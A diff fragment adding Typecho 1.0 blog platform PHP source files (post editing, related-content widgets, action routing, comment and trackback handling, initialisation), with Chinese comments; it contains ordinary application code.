$permission = 'allow' . ucfirst(strtolower($permission)); + $optionPermission = 'default' . ucfirst($permission); + $allow &= (isset($this->{$permission}) ? $this->{$permission} : $this->options->{$optionPermission}); + } + } + + return $allow; + } + + /** + * 获取网页标题 + * + * @access public + * @return string + */ + public function getMenuTitle() + { + return _t('编辑 %s', $this->title); + } + + /** + * getDefaultFieldItems + * + * @access public + * @return array + */ + public function getDefaultFieldItems() + { + $defaultFields = array(); + $configFile = $this->options->themeFile($this->options->theme, 'functions.php'); + $layout = new Typecho_Widget_Helper_Layout(); + $fields = new Typecho_Config(); + + if ($this->have()) { + $fields = $this->fields; + } + + $this->pluginHandle()->getDefaultFieldItems($layout); + + if (file_exists($configFile)) { + require_once $configFile; + + if (function_exists('themeFields')) { + themeFields($layout); + } + + if (function_exists($this->themeCustomFieldsHook)) { + call_user_func($this->themeCustomFieldsHook, $layout); + } + } + + $items = $layout->getItems(); + foreach ($items as $item) { + if ($item instanceof Typecho_Widget_Helper_Form_Element) { + $name = $item->input->getAttribute('name'); + + $isFieldReadOnly = $this->pluginHandle('Widget_Abstract_Contents') + ->trigger($plugged)->isFieldReadOnly($name); + if ($plugged && $isFieldReadOnly) { + continue; + } + + if (preg_match("/^fields\[(.+)\]$/", $name, $matches)) { + $name = $matches[1]; + } else { + foreach ($item->inputs as $input) { + $input->setAttribute('name', 'fields[' . $name . ']'); + } + } + + $item->value($fields->{$name}); + + $elements = $item->container->getItems(); + array_shift($elements); + $div = new Typecho_Widget_Helper_Layout('div'); + + foreach ($elements as $el) { + $div->addItem($el); + } + + $defaultFields[$name] = array($item->label, $div); + } + } + + return $defaultFields; + } + + /** + * getFieldItems + * + * @access public + * @return void + */ + public function getFieldItems() + { + $fields = array(); + + if ($this->have()) { + $defaultFields = $this->getDefaultFieldItems(); + $rows = $this->db->fetchAll($this->db->select()->from('table.fields') + ->where('cid = ?', $this->cid)); + + foreach ($rows as $row) { + $isFieldReadOnly = $this->pluginHandle('Widget_Abstract_Contents') + ->trigger($plugged)->isFieldReadOnly($row['name']); + + if ($plugged && $isFieldReadOnly) { + continue; + } + + if (!isset($defaultFields[$row['name']])) { + $fields[] = $row; + } + } + } + + return $fields; + } + + /** + * 设置内容标签 + * + * @access public + * @param integer $cid + * @param string $tags + * @param boolean $count 是否参与计数 + * @return string + */ + public function setTags($cid, $tags, $beforeCount = true, $afterCount = true) + { + $tags = str_replace(',', ',', $tags); + $tags = array_unique(array_map('trim', explode(',', $tags))); + $tags = array_filter($tags, array('Typecho_Validate', 'xssCheck')); + + /** 取出已有tag */ + $existTags = Typecho_Common::arrayFlatten($this->db->fetchAll( + $this->db->select('table.metas.mid') + ->from('table.metas') + ->join('table.relationships', 'table.relationships.mid = table.metas.mid') + ->where('table.relationships.cid = ?', $cid) + ->where('table.metas.type = ?', 'tag')), 'mid'); + + /** 删除已有tag */ + if ($existTags) { + foreach ($existTags as $tag) { + if (0 == strlen($tag)) { + continue; + } + + $this->db->query($this->db->delete('table.relationships') + ->where('cid = ?', $cid) + ->where('mid = ?', $tag)); + + if ($beforeCount) { + $this->db->query($this->db->update('table.metas') + ->expression('count', 'count - 1') + ->where('mid = ?', $tag)); + } + } + } + + /** 取出插入tag */ + $insertTags = $this->widget('Widget_Abstract_Metas')->scanTags($tags); + + /** 插入tag */ + if ($insertTags) { + foreach ($insertTags as $tag) { + if (0 == strlen($tag)) { + continue; + } + + $this->db->query($this->db->insert('table.relationships') + ->rows(array( + 'mid' => $tag, + 'cid' => $cid + ))); + + if ($afterCount) { + $this->db->query($this->db->update('table.metas') + ->expression('count', 'count + 1') + ->where('mid = ?', $tag)); + } + } + } + } + + /** + * 设置分类 + * + * @access public + * @param integer $cid 内容id + * @param array $categories 分类id的集合数组 + * @param boolean $count 是否参与计数 + * @return integer + */ + public function setCategories($cid, array $categories, $beforeCount = true, $afterCount = true) + { + $categories = array_unique(array_map('trim', $categories)); + + /** 取出已有category */ + $existCategories = Typecho_Common::arrayFlatten($this->db->fetchAll( + $this->db->select('table.metas.mid') + ->from('table.metas') + ->join('table.relationships', 'table.relationships.mid = table.metas.mid') + ->where('table.relationships.cid = ?', $cid) + ->where('table.metas.type = ?', 'category')), 'mid'); + + /** 删除已有category */ + if ($existCategories) { + foreach ($existCategories as $category) { + $this->db->query($this->db->delete('table.relationships') + ->where('cid = ?', $cid) + ->where('mid = ?', $category)); + + if ($beforeCount) { + $this->db->query($this->db->update('table.metas') + ->expression('count', 'count - 1') + ->where('mid = ?', $category)); + } + } + } + + /** 插入category */ + if ($categories) { + foreach ($categories as $category) { + /** 如果分类不存在 */ + if (!$this->db->fetchRow($this->db->select('mid') + ->from('table.metas') + ->where('mid = ?', $category) + ->limit(1))) { + continue; + } + + $this->db->query($this->db->insert('table.relationships') + ->rows(array( + 'mid' => $category, + 'cid' => $cid + ))); + + if ($afterCount) { + $this->db->query($this->db->update('table.metas') + ->expression('count', 'count + 1') + ->where('mid = ?', $category)); + } + } + } + } + + /** + * 发布文章 + * + * @access public + * @return void + */ + public function writePost() + { + $contents = $this->request->from('password', 'allowComment', + 'allowPing', 'allowFeed', 'slug', 'tags', 'text', 'visibility'); + + $contents['category'] = $this->request->getArray('category'); + $contents['title'] = $this->request->get('title', _t('未命名文档')); + $contents['created'] = $this->getCreated(); + + if ($this->request->markdown && $this->options->markdown) { + $contents['text'] = '<!--markdown-->' . $contents['text']; + } + + $contents = $this->pluginHandle()->write($contents, $this); + + if ($this->request->is('do=publish')) { + /** 重新发布已经存在的文章 */ + $contents['type'] = 'post'; + $this->publish($contents); + + // 完成发布插件接口 + $this->pluginHandle()->finishPublish($contents, $this); + + /** 发送ping */ + $trackback = array_unique(preg_split("/(\r|\n|\r\n)/", trim($this->request->trackback))); + $this->widget('Widget_Service')->sendPing($this->cid, $trackback); + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set('post' == $this->type ? + _t('文章 "<a href="%s">%s</a>" 已经发布', $this->permalink, $this->title) : + _t('文章 "%s" 等待审核', $this->title), 'success'); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight($this->theId); + + /** 获取页面偏移 */ + $pageQuery = $this->getPageOffsetQuery($this->created); + + /** 页面跳转 */ + $this->response->redirect(Typecho_Common::url('manage-posts.php?' . $pageQuery, $this->options->adminUrl)); + } else { + /** 保存文章 */ + $contents['type'] = 'post_draft'; + $this->save($contents); + + // 完成保存插件接口 + $this->pluginHandle()->finishSave($contents, $this); + + if ($this->request->isAjax()) { + $created = new Typecho_Date($this->options->gmtTime); + $this->response->throwJson(array( + 'success' => 1, + 'time' => $created->format('H:i:s A'), + 'cid' => $this->cid + )); + } else { + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set(_t('草稿 "%s" 已经被保存', $this->title), 'success'); + + /** 返回原页面 */ + $this->response->redirect(Typecho_Common::url('write-post.php?cid=' . $this->cid, $this->options->adminUrl)); + } + } + } + + /** + * 删除文章 + * + * @access public + * @return void + */ + public function deletePost() + { + $posts = $this->request->filter('int')->getArray('cid'); + $deleteCount = 0; + + foreach ($posts as $post) { + // 删除插件接口 + $this->pluginHandle()->delete($post, $this); + + $condition = $this->db->sql()->where('cid = ?', $post); + $postObject = $this->db->fetchObject($this->db->select('status', 'type') + ->from('table.contents')->where('cid = ? AND type = ?', $post, 'post')); + + if ($this->isWriteable($condition) && + $postObject && + $this->delete($condition)) { + + /** 删除分类 */ + $this->setCategories($post, array(), 'publish' == $postObject->status + && 'post' == $postObject->type); + + /** 删除标签 */ + $this->setTags($post, NULL, 'publish' == $postObject->status + && 'post' == $postObject->type); + + /** 删除评论 */ + $this->db->query($this->db->delete('table.comments') + ->where('cid = ?', $post)); + + /** 解除附件关联 */ + $this->unAttach($post); + + /** 删除草稿 */ + $draft = $this->db->fetchRow($this->db->select('cid') + ->from('table.contents') + ->where('table.contents.parent = ? AND table.contents.type = ?', + $post, 'post_draft') + ->limit(1)); + + /** 删除自定义字段 */ + $this->deleteFields($post); + + if ($draft) { + $this->deleteDraft($draft['cid']); + $this->deleteFields($draft['cid']); + } + + // 完成删除插件接口 + $this->pluginHandle()->finishDelete($post, $this); + + $deleteCount ++; + } + + unset($condition); + } + + // 清理标签 + if ($deleteCount > 0) { + $this->widget('Widget_Abstract_Metas')->clearTags(); + } + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($deleteCount > 0 ? _t('文章已经被删除') : _t('没有文章被删除'), + $deleteCount > 0 ? 'success' : 'notice'); + + /** 返回原网页 */ + $this->response->goBack(); + } + + /** + * 删除文章所属草稿 + * + * @access public + * @return void + */ + public function deletePostDraft() + { + $posts = $this->request->filter('int')->getArray('cid'); + $deleteCount = 0; + + foreach ($posts as $post) { + /** 删除草稿 */ + $draft = $this->db->fetchRow($this->db->select('cid') + ->from('table.contents') + ->where('table.contents.parent = ? AND table.contents.type = ?', + $post, 'post_draft') + ->limit(1)); + + if ($draft) { + $this->deleteDraft($draft['cid']); + $this->deleteFields($draft['cid']); + $deleteCount ++; + } + } + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($deleteCount > 0 ? _t('草稿已经被删除') : _t('没有草稿被删除'), + $deleteCount > 0 ? 'success' : 'notice'); + + /** 返回原网页 */ + $this->response->goBack(); + } + + /** + * 输出Markdown预览 + * + * @access public + * @return void + */ + public function preview() + { + $this->response->throwJson($this->markdown($this->request->text)); + } + + /** + * 绑定动作 + * + * @access public + * @return void + */ + public function action() + { + $this->security->protect(); + $this->on($this->request->is('do=publish') || $this->request->is('do=save'))->writePost(); + $this->on($this->request->is('do=delete'))->deletePost(); + $this->on($this->request->is('do=deleteDraft'))->deletePostDraft(); + $this->on($this->request->is('do=preview'))->preview(); + + $this->response->redirect($this->options->adminUrl); + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Recent.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Recent.php new file mode 100755 index 000000000..5645acf71 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Recent.php @@ -0,0 +1,40 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 最新文章 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 最新评论组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Post_Recent extends Widget_Abstract_Contents +{ + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $this->parameter->setDefault(array('pageSize' => $this->options->postsListSize)); + + $this->db->fetchAll($this->select() + ->where('table.contents.status = ?', 'publish') + ->where('table.contents.created < ?', $this->options->gmtTime) + ->where('table.contents.type = ?', 'post') + ->order('table.contents.created', Typecho_Db::SORT_DESC) + ->limit($this->parameter->pageSize), array($this, 'push')); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Related.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Related.php new file mode 100755 index 000000000..15edbdd9c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Related.php @@ -0,0 +1,62 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 相关内容 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 相关内容组件(根据标签关联) + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Related extends Widget_Abstract_Contents +{ + /** + * 获取查询对象 + * + * @access public + * @return Typecho_Db_Query + */ + public function select() + { + return $this->db->select('DISTINCT table.contents.cid', 'table.contents.title', 'table.contents.slug', 'table.contents.created', 'table.contents.authorId', + 'table.contents.modified', 'table.contents.type', 'table.contents.status', 'table.contents.text', 'table.contents.commentsNum', 'table.contents.order', + 'table.contents.template', 'table.contents.password', 'table.contents.allowComment', 'table.contents.allowPing', 'table.contents.allowFeed') + ->from('table.contents'); + } + + /** + * 执行函数,初始化数据 + * + * @access public + * @return void + */ + public function execute() + { + $this->parameter->setDefault('limit=5'); + + if ($this->parameter->tags) { + $tagsGroup = implode(',', Typecho_Common::arrayFlatten($this->parameter->tags, 'mid')); + $this->db->fetchAll($this->select() + ->join('table.relationships', 'table.contents.cid = table.relationships.cid') + ->where('table.relationships.mid IN (' . $tagsGroup . ')') + ->where('table.contents.cid <> ?', $this->parameter->cid) + ->where('table.contents.status = ?', 'publish') + ->where('table.contents.password IS NULL') + ->where('table.contents.created < ?', $this->options->gmtTime) + ->where('table.contents.type = ?', $this->parameter->type) + ->order('table.contents.created', Typecho_Db::SORT_DESC) + ->limit($this->parameter->limit), array($this, 'push')); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Related/Author.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Related/Author.php new file mode 100755 index 000000000..a1f571d16 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Related/Author.php @@ -0,0 +1,46 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 相关内容 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 相关内容组件(根据作者关联) + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Related_Author extends Widget_Abstract_Contents +{ + /** + * 执行函数,初始化数据 + * + * @access public + * @return void + */ + public function execute() + { + $this->parameter->setDefault('limit=5'); + + if ($this->parameter->author) { + $this->db->fetchAll($this->select() + ->where('table.contents.authorId = ?', $this->parameter->author) + ->where('table.contents.cid <> ?', $this->parameter->cid) + ->where('table.contents.status = ?', 'publish') + ->where('table.contents.password IS NULL') + ->where('table.contents.created < ?', $this->options->gmtTime) + ->where('table.contents.type = ?', $this->parameter->type) + ->order('table.contents.created', Typecho_Db::SORT_DESC) + ->limit($this->parameter->limit), array($this, 'push')); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Do.php b/Typecho/1.0/php-fpm/src/var/Widget/Do.php new file mode 100755 index 000000000..445c3e0d1 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Do.php @@ -0,0 +1,88 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 执行模块 + * + * @package Widget + */ +class Widget_Do extends Typecho_Widget +{ + /** + * 路由映射 + * + * @access private + * @var array + */ + private $_map = array( + 'ajax' => 'Widget_Ajax', + 'login' => 'Widget_Login', + 'logout' => 'Widget_Logout', + 'register' => 'Widget_Register', + 'upgrade' => 'Widget_Upgrade', + 'upload' => 'Widget_Upload', + 'service' => 'Widget_Service', + 'xmlrpc' => 'Widget_XmlRpc', + 'comments-edit' => 'Widget_Comments_Edit', + 'contents-page-edit' => 'Widget_Contents_Page_Edit', + 'contents-post-edit' => 'Widget_Contents_Post_Edit', + 'contents-attachment-edit' => 'Widget_Contents_Attachment_Edit', + 'metas-category-edit' => 'Widget_Metas_Category_Edit', + 'metas-tag-edit' => 'Widget_Metas_Tag_Edit', + 'options-discussion' => 'Widget_Options_Discussion', + 'options-general' => 'Widget_Options_General', + 'options-permalink' => 'Widget_Options_Permalink', + 'options-reading' => 'Widget_Options_Reading', + 'plugins-edit' => 'Widget_Plugins_Edit', + 'themes-edit' => 'Widget_Themes_Edit', + 'users-edit' => 'Widget_Users_Edit', + 'users-profile' => 'Widget_Users_Profile' + ); + + /** + * 入口函数,初始化路由器 + * + * @access public + * @return void + * @throws Typecho_Widget_Exception + */ + public function execute() + { + /** 验证路由地址 **/ + $action = $this->request->action; + + //兼容老版本 + if (empty($action)) { + $widget = trim($this->request->widget, '/'); + $objectName = 'Widget_' . str_replace('/', '_', $widget); + + if (Typecho_Common::isAvailableClass($objectName)) { + $widgetName = $objectName; + } + } else { + /** 判断是否为plugin */ + $actionTable = array_merge($this->_map, unserialize($this->widget('Widget_Options')->actionTable)); + + if (isset($actionTable[$action])) { + $widgetName = $actionTable[$action]; + } + } + + if (isset($widgetName) && class_exists($widgetName)) { + $reflectionWidget = new ReflectionClass($widgetName); + if ($reflectionWidget->implementsInterface('Widget_Interface_Do')) { + $this->widget($widgetName)->action(); + return; + } + } + + throw new Typecho_Widget_Exception(_t('请求的地址不存在'), 404); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/ExceptionHandle.php b/Typecho/1.0/php-fpm/src/var/Widget/ExceptionHandle.php new file mode 100755 index 000000000..d2f2fc8b8 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/ExceptionHandle.php @@ -0,0 +1,30 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 异常处理组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_ExceptionHandle extends Widget_Archive +{ + /** + * 重载构造函数 + */ + public function __construct() + { + $this->widget('Widget_Archive@404', 'type=404')->render(); + exit; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Feedback.php b/Typecho/1.0/php-fpm/src/var/Widget/Feedback.php new file mode 100755 index 000000000..a0c2c9b6c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Feedback.php @@ -0,0 +1,339 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 反馈提交 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 反馈提交组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Feedback extends Widget_Abstract_Comments implements Widget_Interface_Do +{ + /** + * 内容对象 + * + * @access private + * @var Widget_Archive + */ + private $_content; + + /** + * 评论处理函数 + * + * @throws Typecho_Widget_Exception + * @throws Exception + * @throws Typecho_Exception + */ + private function comment() + { + // 使用安全模块保护 + $this->security->protect(); + + $comment = array( + 'cid' => $this->_content->cid, + 'created' => $this->options->gmtTime, + 'agent' => $this->request->getAgent(), + 'ip' => $this->request->getIp(), + 'ownerId' => $this->_content->author->uid, + 'type' => 'comment', + 'status' => !$this->_content->allow('edit') && $this->options->commentsRequireModeration ? 'waiting' : 'approved' + ); + + /** 判断父节点 */ + if ($parentId = $this->request->filter('int')->get('parent')) { + if ($this->options->commentsThreaded && ($parent = $this->db->fetchRow($this->db->select('coid', 'cid')->from('table.comments') + ->where('coid = ?', $parentId))) && $this->_content->cid == $parent['cid']) { + $comment['parent'] = $parentId; + } else { + throw new Typecho_Widget_Exception(_t('父级评论不存在')); + } + } + + //检验格式 + $validator = new Typecho_Validate(); + $validator->addRule('author', 'required', _t('必须填写用户名')); + $validator->addRule('author', 'xssCheck', _t('请不要在用户名中使用特殊字符')); + $validator->addRule('author', array($this, 'requireUserLogin'), _t('您所使用的用户名已经被注册,请登录后再次提交')); + $validator->addRule('author', 'maxLength', _t('用户名最多包含200个字符'), 200); + + if ($this->options->commentsRequireMail && !$this->user->hasLogin()) { + $validator->addRule('mail', 'required', _t('必须填写电子邮箱地址')); + } + + $validator->addRule('mail', 'email', _t('邮箱地址不合法')); + $validator->addRule('mail', 'maxLength', _t('电子邮箱最多包含200个字符'), 200); + + if ($this->options->commentsRequireUrl && !$this->user->hasLogin()) { + $validator->addRule('url', 'required', _t('必须填写个人主页')); + } + $validator->addRule('url', 'url', _t('个人主页地址格式错误')); + $validator->addRule('url', 'maxLength', _t('个人主页地址最多包含200个字符'), 200); + + $validator->addRule('text', 'required', _t('必须填写评论内容')); + + $comment['text'] = $this->request->text; + + /** 对一般匿名访问者,将用户数据保存一个月 */ + if (!$this->user->hasLogin()) { + /** Anti-XSS */ + $comment['author'] = $this->request->filter('trim')->author; + $comment['mail'] = $this->request->filter('trim')->mail; + $comment['url'] = $this->request->filter('trim')->url; + + /** 修正用户提交的url */ + if (!empty($comment['url'])) { + $urlParams = parse_url($comment['url']); + if (!isset($urlParams['scheme'])) { + $comment['url'] = 'http://' . $comment['url']; + } + } + + $expire = $this->options->gmtTime + $this->options->timezone + 30*24*3600; + Typecho_Cookie::set('__typecho_remember_author', $comment['author'], $expire); + Typecho_Cookie::set('__typecho_remember_mail', $comment['mail'], $expire); + Typecho_Cookie::set('__typecho_remember_url', $comment['url'], $expire); + } else { + $comment['author'] = $this->user->screenName; + $comment['mail'] = $this->user->mail; + $comment['url'] = $this->user->url; + + /** 记录登录用户的id */ + $comment['authorId'] = $this->user->uid; + } + + /** 评论者之前须有评论通过了审核 */ + if (!$this->options->commentsRequireModeration && $this->options->commentsWhitelist) { + if ($commentApprovedNum = $this->size($this->select()->where('author = ? AND mail = ? AND status = ?', $comment['author'], $comment['mail'], 'approved'))) { + $comment['status'] = 'approved'; + } else { + $comment['status'] = 'waiting'; + } + } + + if ($error = $validator->run($comment)) { + /** 记录文字 */ + Typecho_Cookie::set('__typecho_remember_text', $comment['text']); + throw new Typecho_Widget_Exception(implode("\n", $error)); + } + + /** 生成过滤器 */ + try { + $comment = $this->pluginHandle()->comment($comment, $this->_content); + } catch (Typecho_Exception $e) { + Typecho_Cookie::set('__typecho_remember_text', $comment['text']); + throw $e; + } + + /** 添加评论 */ + $commentId = $this->insert($comment); + Typecho_Cookie::delete('__typecho_remember_text'); + $this->db->fetchRow($this->select()->where('coid = ?', $commentId) + ->limit(1), array($this, 'push')); + + /** 评论完成接口 */ + $this->pluginHandle()->finishComment($this); + + $this->response->goBack('#' . $this->theId); + } + + /** + * 引用处理函数 + * + * @access private + * @return void + */ + private function trackback() + { + /** 如果不是POST方法 */ + if (!$this->request->isPost() || $this->request->getReferer()) { + $this->response->redirect($this->_content->permalink); + } + + /** 如果库中已经存在当前ip为spam的trackback则直接拒绝 */ + if ($this->size($this->select() + ->where('status = ? AND ip = ?', 'spam', $this->request->getIp())) > 0) { + /** 使用404告诉机器人 */ + throw new Typecho_Widget_Exception(_t('找不到内容'), 404); + } + + $trackback = array( + 'cid' => $this->_content->cid, + 'created' => $this->options->gmtTime, + 'agent' => $this->request->getAgent(), + 'ip' => $this->request->getIp(), + 'ownerId' => $this->_content->author->uid, + 'type' => 'trackback', + 'status' => $this->options->commentsRequireModeration ? 'waiting' : 'approved' + ); + + $trackback['author'] = $this->request->filter('trim')->blog_name; + $trackback['url'] = $this->request->filter('trim')->url; + $trackback['text'] = $this->request->excerpt; + + //检验格式 + $validator = new Typecho_Validate(); + $validator->addRule('url', 'required', 'We require all Trackbacks to provide an url.') + ->addRule('url', 'url', 'Your url is not valid.') + ->addRule('url', 'maxLength', 'Your url is not valid.', 200) + ->addRule('text', 'required', 'We require all Trackbacks to provide an excerption.') + ->addRule('author', 'required', 'We require all Trackbacks to provide an blog name.') + ->addRule('author', 'xssCheck', 'Your blog name is not valid.') + ->addRule('author', 'maxLength', 'Your blog name is not valid.', 200); + + $validator->setBreak(); + if ($error = $validator->run($trackback)) { + $message = array('success' => 1, 'message' => current($error)); + $this->response->throwXml($message); + } + + /** 截取长度 */ + $trackback['text'] = Typecho_Common::subStr($trackback['text'], 0, 100, '[...]'); + + /** 如果库中已经存在重复url则直接拒绝 */ + if ($this->size($this->select() + ->where('cid = ? AND url = ? AND type <> ?', $this->_content->cid, $trackback['url'], 'comment')) > 0) { + /** 使用403告诉机器人 */ + throw new Typecho_Widget_Exception(_t('禁止重复提交'), 403); + } + + /** 生成过滤器 */ + $trackback = $this->pluginHandle()->trackback($trackback, $this->_content); + + /** 添加引用 */ + $trackbackId = $this->insert($trackback); + + /** 评论完成接口 */ + $this->pluginHandle()->finishTrackback($this); + + /** 返回正确 */ + $this->response->throwXml(array('success' => 0, 'message' => 'Trackback has registered.')); + } + + /** + * 过滤评论内容 + * + * @access public + * @param string $text 评论内容 + * @return string + */ + public function filterText($text) + { + $text = str_replace("\r", '', trim($text)); + $text = preg_replace("/\n{2,}/", "\n\n", $text); + + return Typecho_Common::removeXSS(Typecho_Common::stripTags( + $text, $this->options->commentsHTMLTagAllowed)); + } + + /** + * 对已注册用户的保护性检测 + * + * @access public + * @param string $userName 用户名 + * @return void + */ + public function requireUserLogin($userName) + { + if ($this->user->hasLogin() && $this->user->screenName != $userName) { + /** 当前用户名与提交者不匹配 */ + return false; + } else if (!$this->user->hasLogin() && $this->db->fetchRow($this->db->select('uid') + ->from('table.users')->where('screenName = ? OR name = ?', $userName, $userName)->limit(1))) { + /** 此用户名已经被注册 */ + return false; + } + + return true; + } + + /** + * 初始化函数 + * + * @access public + * @return void + * @throws Typecho_Widget_Exception + */ + public function action() + { + /** 回调方法 */ + $callback = $this->request->type; + $this->_content = Typecho_Router::match($this->request->permalink); + + /** 判断内容是否存在 */ + if (false !== $this->_content && $this->_content instanceof Widget_Archive && + $this->_content->have() && $this->_content->is('single') && + in_array($callback, array('comment', 'trackback'))) { + + /** 如果文章不允许反馈 */ + if ('comment' == $callback) { + /** 评论关闭 */ + if (!$this->_content->allow('comment')) { + throw new Typecho_Widget_Exception(_t('对不起,此内容的反馈被禁止.'), 403); + } + + /** 检查来源 */ + if ($this->options->commentsCheckReferer && 'false' != $this->parameter->checkReferer) { + $referer = $this->request->getReferer(); + + if (empty($referer)) { + throw new Typecho_Widget_Exception(_t('评论来源页错误.'), 403); + } + + $refererPart = parse_url($referer); + $currentPart = parse_url($this->_content->permalink); + + if ($refererPart['host'] != $currentPart['host'] || + 0 !== strpos($refererPart['path'], $currentPart['path'])) { + + //自定义首页支持 + if ('page:' . $this->_content->cid == $this->options->frontPage) { + $currentPart = parse_url(rtrim($this->options->siteUrl, '/') . '/'); + + if ($refererPart['host'] != $currentPart['host'] || + 0 !== strpos($refererPart['path'], $currentPart['path'])) { + throw new Typecho_Widget_Exception(_t('评论来源页错误.'), 403); + } + } else { + throw new Typecho_Widget_Exception(_t('评论来源页错误.'), 403); + } + } + } + + /** 检查ip评论间隔 */ + if (!$this->user->pass('editor', true) && $this->_content->authorId != $this->user->uid && + $this->options->commentsPostIntervalEnable) { + $latestComment = $this->db->fetchRow($this->db->select('created')->from('table.comments') + ->where('cid = ?', $this->_content->cid) + ->order('created', Typecho_Db::SORT_DESC) + ->limit(1)); + + if ($latestComment && ($this->options->gmtTime - $latestComment['created'] > 0 && + $this->options->gmtTime - $latestComment['created'] < $this->options->commentsPostInterval)) { + throw new Typecho_Widget_Exception(_t('对不起, 您的发言过于频繁, 请稍侯再次发布.'), 403); + } + } + } + + /** 如果文章不允许引用 */ + if ('trackback' == $callback && !$this->_content->allow('ping')) { + throw new Typecho_Widget_Exception(_t('对不起,此内容的引用被禁止.'), 403); + } + + /** 调用函数 */ + $this->$callback(); + } else { + throw new Typecho_Widget_Exception(_t('找不到内容'), 404); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Init.php b/Typecho/1.0/php-fpm/src/var/Widget/Init.php new file mode 100755 index 000000000..8409dce2b --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Init.php @@ -0,0 +1,79 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 初始化模块 + * + * @package Widget + */ +class Widget_Init extends Typecho_Widget +{ + /** + * 入口函数,初始化路由器 + * + * @access public + * @return void + */ + public function execute() + { + /** 对变量赋值 */ + $options = $this->widget('Widget_Options'); + + /** 语言包初始化 */ + if ($options->lang && $options->lang != 'zh_CN') { + $dir = defined('__TYPECHO_LANG_DIR__') ? __TYPECHO_LANG_DIR__ : __TYPECHO_ROOT_DIR__ . '/usr/langs'; + Typecho_I18n::setLang($dir . '/' . $options->lang . '.mo'); + } + + /** cookie初始化 */ + Typecho_Cookie::setPrefix($options->rootUrl); + + /** 初始化charset */ + Typecho_Common::$charset = $options->charset; + + /** 初始化exception */ + Typecho_Common::$exceptionHandle = 'Widget_ExceptionHandle'; + + /** 设置路径 */ + if (defined('__TYPECHO_PATHINFO_ENCODING__')) { + $pathInfo = $this->request->getPathInfo(__TYPECHO_PATHINFO_ENCODING__, $options->charset); + } else { + $pathInfo = $this->request->getPathInfo(); + } + + Typecho_Router::setPathInfo($pathInfo); + + /** 初始化路由器 */ + Typecho_Router::setRoutes($options->routingTable); + + /** 初始化插件 */ + Typecho_Plugin::init($options->plugins); + + /** 初始化回执 */ + $this->response->setCharset($options->charset); + $this->response->setContentType($options->contentType); + + /** 默认时区 */ + if (function_exists("ini_get") && !ini_get("date.timezone") && function_exists("date_default_timezone_set")) { + @date_default_timezone_set('UTC'); + } + + /** 初始化时区 */ + Typecho_Date::setTimezoneOffset($options->timezone); + + /** 开始会话, 减小负载只针对后台打开session支持 */ + if ($this->widget('Widget_User')->hasLogin()) { + @session_start(); + } + + /** 监听缓冲区 */ + ob_start(); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Interface/Do.php b/Typecho/1.0/php-fpm/src/var/Widget/Interface/Do.php new file 